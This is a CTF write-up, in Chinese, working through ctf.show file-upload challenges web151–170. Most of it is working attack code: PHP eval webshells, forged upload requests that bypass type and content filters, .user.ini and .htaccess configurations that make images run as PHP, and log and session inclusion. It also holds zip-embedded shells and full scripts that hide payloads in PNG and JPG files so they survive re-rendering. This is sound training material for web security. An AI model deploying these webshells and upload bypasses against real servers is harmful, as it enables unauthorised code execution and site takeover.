web151(前端校验)

前端验证,修改png为php

1
lay-data="{url: 'upload.php', accept: 'images',exts:'php'}"

上传php文件

1
2
3
4
<?php
eval($_POST[1]);
phpinfo();
?>

web152(content-type)

通过前端校验后上传php文件显示文件类型不合规

尝试抓包修改content-type,根据数据包回显得知上传成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /upload.php HTTP/1.1
Host: ef68ad4a-40fd-479c-aa14-0a4c9d2c0650.challenge.ctf.show
Content-Length: 217
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWg0lhgBOIRNo5bIG
Origin: http://ef68ad4a-40fd-479c-aa14-0a4c9d2c0650.challenge.ctf.show
Referer: http://ef68ad4a-40fd-479c-aa14-0a4c9d2c0650.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryWg0lhgBOIRNo5bIG
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/png

<?php
eval($_POST[1]);
phpinfo();
?>
------WebKitFormBoundaryWg0lhgBOIRNo5bIG--

web153(.user.ini)

虽然将后缀名改为phtml,php5等,可以上传成功,但是服务器并不解析

.user.ini文件其实就是PHP的一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含

.htaccess文件是Apache Web服务器的配置文件;Nginx并不使用.htaccess文件

1
2
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename> //包含在文件尾

payload

上传a.png

1
2
3
4
<?php
eval($_POST[1]);
phpinfo();
?>

上传.user.ini

1
auto_prepend_file = a.png

web154-155(内容检测”php”)

payload

利用上题的方法,将a.png的内容改成如下,利用短标签

1
2
3
<?=
eval($_POST[1]);
?>

PHP四种标记风格

1.XML风格

1
2
3
<?php
eval($_POST['cmd']);
?>

php推荐使用的标记风格。
服务器管理员无法禁用,所有服务器上均可使用该风格。

2.脚本风格

1
2
3
<script language="php">
eval($_POST['cmd']);
</script>

默认开启,无法禁用
笔者曾遇到过一CTF题目,要求上传shell,但是却对文件内容做了过滤 ,<? 以及 php,替换为了空格。此种风格中,language的值,大小写都可以,因此可以构造如下代码进行绕过

1
2
3
<script language="PhP">
eval($_POST['cmd']);
</script>

3.简短风格

1
2
3
<? 
eval($_POST['cmd']);
?>

此种风格需要在配置文件php.ini中启用short_open_tage选项
此种风格在许多环境中默认是不支持的

4.ASP风格

1
2
3
<% 
eval($_POST['cmd']);
%>

此种风格需要在配置文件php.ini中启用asp_tag选项
在默认情况下是禁用的
原文链接:https://blog.csdn.net/qq_35085863/article/details/76714367

web156(内容检测’[‘)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-26 15:49:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if($ext_suffix!='php'){
$content = file_get_contents($_FILES["file"]["tmp_name"]);
if(stripos($content, "php")===FALSE && stripos($content,"[")===FALSE){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

echo json_encode($ret);

stripos — 查找字符串首次出现的位置(不区分大小写); 过滤了**[ ]** 可以用{}替代

web157-158(内容检测 ‘{}’ ,’;’)

payload,php最后一句话可以不用加分号

1
2
3
<?= 
system('tac ../f*')
?>

web159(内容检测”()”,”log”)

使用反引号

1
2
<=
echo `whoami`

web160(内容检测空格)

使得a.png的内容如下,包含日志文件

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

web161-162文件头检测)

上传文件时加上图片文件头

1
GIF89a

web163(内容检测 “.”)

利用.user.ini,使得文件包含/tmp/sess_id;我这里并没有从哪里看出来开启了session;

上传.user.ini文件

1
2
GIF89a
auto_prepend_file=/tmp/sess_zixyd

表单

1
2
3
4
5
6
7
8
9
<html>
<body>
<form action="http://d0908251-27cd-4ecc-b549-e6d9c1a0abdc.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1<?php system('cat ../flag.php');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

payload,用bp的intruder,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST / HTTP/1.1
Host: d0908251-27cd-4ecc-b549-e6d9c1a0abdc.challenge.ctf.show
Content-Length: 324
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjvhYci6ebBvox39y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=zixyd
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryjvhYci6ebBvox39y
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

§1§<?php system('cat ../flag.php');?>
------WebKitFormBoundaryjvhYci6ebBvox39y
Content-Disposition: form-data; name="file"; filename="a.txt"
Content-Type: text/plain

zixyd
------WebKitFormBoundaryjvhYci6ebBvox39y--

1
2
3
4
5
6
7
8
9
10
11
12
GET /upload/index.php HTTP/1.1
Host: d0908251-27cd-4ecc-b549-e6d9c1a0abdc.challenge.ctf.show
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

§1§

web164(png二次渲染)

直接用大佬的脚本生成木马文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php

?>

web165(jpg二次渲染)

jpg的成功率很低

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
<?php
#用法,在目录那里cmd打开然后php 文件名 图片名
$miniPayload = '<?=eval($_POST[1]);?>';
if (!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if (!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for ($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if ($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while ((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if ($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0", $nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_' . $argv[1], $outStreamTmp, TRUE);
if ($extraBytes !== 0) {
while ((!$dis->eof())) {
if ($dis->readByte() === 0xFF) {
if ($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0", $nullbytePayloadSize) .
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize + $imageStreamSize - $extraBytes) .
substr($outStream, $stopPos);
} elseif ($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if (checkImage('payload_' . $argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_' . $argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE)
{
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if ($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline)
{
global $extraBytes, $correctImage;
$correctImage = FALSE;
if (preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if (isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream
{
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false)
{
$this->binData = '';
$this->order = $order;
if (!$fromString) {
if (!file_exists($filename) || !is_file($filename))
die('File not exists [' . $filename . ']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek()
{
return ($this->size - strlen($this->binData));
}

public function skip($skip)
{
$this->binData = substr($this->binData, $skip);
}

public function readByte()
{
if ($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort()
{
if (strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if ($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof()
{
return !$this->binData || (strlen($this->binData) === 0);
}
}

?>

web166(zip文件包含)

只能上传zip文件

1
lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}"

download.php存在文件包含,

1
upload/download.php?file=e46801abff88087e1938a39472b8a1f0.zip

随便压缩一个文件,右击压缩后的zip文件打开;加上木马

1
2
3
4
5
6
PK
绬3X8?Q   1.txt鍟奝K?
绬3X8?Q   $ 1.txt
  U?
礘? PK   W &
<?php @eval($_POST[1]);?>

上传之后,直接用蚁剑即可连接

1
2
url: http://38b16135-3b29-49f9-aa9e-63f555279256.challenge.ctf.show/upload/download.php?file=e46801abff88087e1938a39472b8a1f0.zip
pass: 1

web167(htaccess)

hint:httpd

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

上传1.jpg文件

1
2
3
4
<?php
eval($_POST[1]);
phpinfo();
?>

上传.htaccess文件,并把1.jpg文件用php解析

1
2
3
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

其实这个我感觉挺奇怪的,响应标头表示的是nginx服务器,但是却可以用htaccess配置文件?

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 19 Jan 2024 10:07:18 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1657
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.40

web168(姿势绕过)

经过测试发现,文件上传点将eval和system以及post和get过滤了
也可以使用反引号来进行命令执行,通过不断修改上传文件中的内容和不断访问该文件来获取flag

1
<?php echo `tac ../f*`;?>

还有其他方式;

1
2
3
4
<?php
$a=substr("1sys",1)."tem"; 返回字符串中第一位以后的字符串
$a($_REQUEST['pass']);
?>

web169-170(过滤了”<”)

吐槽:只能上传zip文件,但是Content-Type又必须是图片类型;

随便上传一个php文件,然后用.user.ini包含日志文件

1
2
3
4
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=/var/log/nginx/access.log